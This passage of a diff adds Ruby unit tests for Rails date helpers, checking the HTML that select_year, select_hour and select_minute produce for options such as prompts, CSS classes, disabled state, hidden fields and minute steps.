+      2003, prefix: "date_year", discard_type: true, start_year: 2003, end_year: 2005)
+  end
+
+  def test_select_year_descending
+    expected = %(<select id="date_year" name="date[year]">\n).dup
+    expected << %(<option value="2005" selected="selected">2005</option>\n<option value="2004">2004</option>\n<option value="2003">2003</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2005, 8, 16), start_year: 2005, end_year: 2003)
+    assert_dom_equal expected, select_year(2005, start_year: 2005, end_year: 2003)
+  end
+
+  def test_select_year_with_hidden
+    assert_dom_equal "<input type=\"hidden\" id=\"date_year\" name=\"date[year]\" value=\"2007\" />\n", select_year(2007, use_hidden: true)
+  end
+
+  def test_select_year_with_hidden_and_field_name
+    assert_dom_equal "<input type=\"hidden\" id=\"date_anno\" name=\"date[anno]\" value=\"2007\" />\n", select_year(2007, use_hidden: true, field_name: "anno")
+  end
+
+  def test_select_year_with_html_options
+    expected = %(<select id="date_year" name="date[year]" class="selector" accesskey="M">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005 }, class: "selector", accesskey: "M")
+  end
+
+  def test_select_year_with_default_prompt
+    expected = %(<select id="date_year" name="date[year]">\n).dup
+    expected << %(<option value="">Year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(nil, start_year: 2003, end_year: 2005, prompt: true)
+  end
+
+  def test_select_year_with_custom_prompt
+    expected = %(<select id="date_year" name="date[year]">\n).dup
+    expected << %(<option value="">Choose year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(nil, start_year: 2003, end_year: 2005, prompt: "Choose year")
+  end
+
+  def test_select_year_with_generic_with_css_classes
+    expected = %(<select id="date_year" name="date[year]" class="year">\n).dup
+    expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(nil, start_year: 2003, end_year: 2005, with_css_classes: true)
+  end
+
+  def test_select_year_with_custom_with_css_classes
+    expected = %(<select id="date_year" name="date[year]" class="my-year">\n).dup
+    expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(nil, start_year: 2003, end_year: 2005, with_css_classes: { year: "my-year" })
+  end
+
+  def test_select_year_with_position
+    expected = %(<select id="date_year_1i" name="date[year(1i)]">\n).dup
+    expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+    assert_dom_equal expected, select_year(Date.current, include_position: true,  start_year: 2003, end_year: 2005)
+  end
+
+  def test_select_hour
+    expected = %(<select id="date_hour" name="date[hour]">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18))
+  end
+
+  def test_select_hour_with_ampm
+    expected = %(<select id="date_hour" name="date[hour]">\n).dup
+    expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\n<option value="13">01 PM</option>\n<option value="14">02 PM</option>\n<option value="15">03 PM</option>\n<option value="16">04 PM</option>\n<option value="17">05 PM</option>\n<option value="18">06 PM</option>\n<option value="19">07 PM</option>\n<option value="20">08 PM</option>\n<option value="21">09 PM</option>\n<option value="22">10 PM</option>\n<option value="23">11 PM</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), ampm: true)
+  end
+
+  def test_select_hour_with_disabled
+    expected = %(<select id="date_hour" name="date[hour]" disabled="disabled">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), disabled: true)
+  end
+
+  def test_select_hour_with_field_name_override
+    expected = %(<select id="date_heure" name="date[heure]">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), field_name: "heure")
+  end
+
+  def test_select_hour_with_blank
+    expected = %(<select id="date_hour" name="date[hour]">\n).dup
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), include_blank: true)
+  end
+
+  def test_select_hour_nil_with_blank
+    expected = %(<select id="date_hour" name="date[hour]">\n).dup
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(nil, include_blank: true)
+  end
+
+  def test_select_hour_with_html_options
+    expected = %(<select id="date_hour" name="date[hour]" class="selector" accesskey="M">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), {}, class: "selector", accesskey: "M")
+  end
+
+  def test_select_hour_with_default_prompt
+    expected = %(<select id="date_hour" name="date[hour]">\n).dup
+    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), prompt: true)
+  end
+
+  def test_select_hour_with_custom_prompt
+    expected = %(<select id="date_hour" name="date[hour]">\n).dup
+    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), prompt: "Choose hour")
+  end
+
+  def test_select_hour_with_generic_with_css_classes
+    expected = %(<select id="date_hour" name="date[hour]" class="hour">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: true)
+  end
+
+  def test_select_hour_with_custom_with_css_classes
+    expected = %(<select id="date_hour" name="date[hour]" class="my-hour">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: { hour: "my-hour" })
+  end
+
+  def test_select_minute
+    expected = %(<select id="date_minute" name="date[minute]">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18))
+  end
+
+  def test_select_minute_with_disabled
+    expected = %(<select id="date_minute" name="date[minute]" disabled="disabled">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), disabled: true)
+  end
+
+  def test_select_minute_with_field_name_override
+    expected = %(<select id="date_minuto" name="date[minuto]">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), field_name: "minuto")
+  end
+
+  def test_select_minute_with_blank
+    expected = %(<select id="date_minute" name="date[minute]">\n).dup
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), include_blank: true)
+  end
+
+  def test_select_minute_with_blank_and_step
+    expected = %(<select id="date_minute" name="date[minute]">\n).dup
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), include_blank: true , minute_step: 15)
+  end
+
+  def test_select_minute_nil_with_blank
+    expected = %(<select id="date_minute" name="date[minute]">\n).dup
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(nil, include_blank: true)
+  end
+
+  def test_select_minute_nil_with_blank_and_step
+    expected = %(<select id="date_minute" name="date[minute]">\n).dup
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(nil, include_blank: true , minute_step: 15)
+  end
+
+  def test_select_minute_with_hidden
+    assert_dom_equal "<input type=\"hidden\" id=\"date_minute\" name=\"date[minute]\" value=\"8\" />\n", select_minute(8, use_hidden: true)
+  end
+
+  def test_select_minute_with_hidden_and_field_name
+    assert_dom_equal "<input type=\"hidden\" id=\"date_minuto\" name=\"date[minuto]\" value=\"8\" />\n", select_minute(8, use_hidden: true, field_name: "minuto")
+  end
+
+  def test_select_minute_with_html_options
+    expected = %(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, class: "selector", accesskey: "M")
+  end
+
+  def test_select_minute_with_default_prompt
+    expected = %(<select id="date_minute" name="date[minute]">\n).dup
+    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), prompt: true)
+  end
+
+  def test_select_minute_with_custom_prompt
+    expected = %(<select id="date_minute" name="date[minute]">\n).dup
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), prompt: "Choose minute")
+  end
+
+  def test_select_minute_with_generic_with_css_classes
+    expected = %(<select id="date_minute" name="date[minute]" class="minute">\n).dup
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), with_css_classes: true)
+  end
+
+  def test_select_minute_with_custom_with_css_classes
+    expected = %(<select id="date_minute" name="date[minute]" class="my-minute">\n).dup
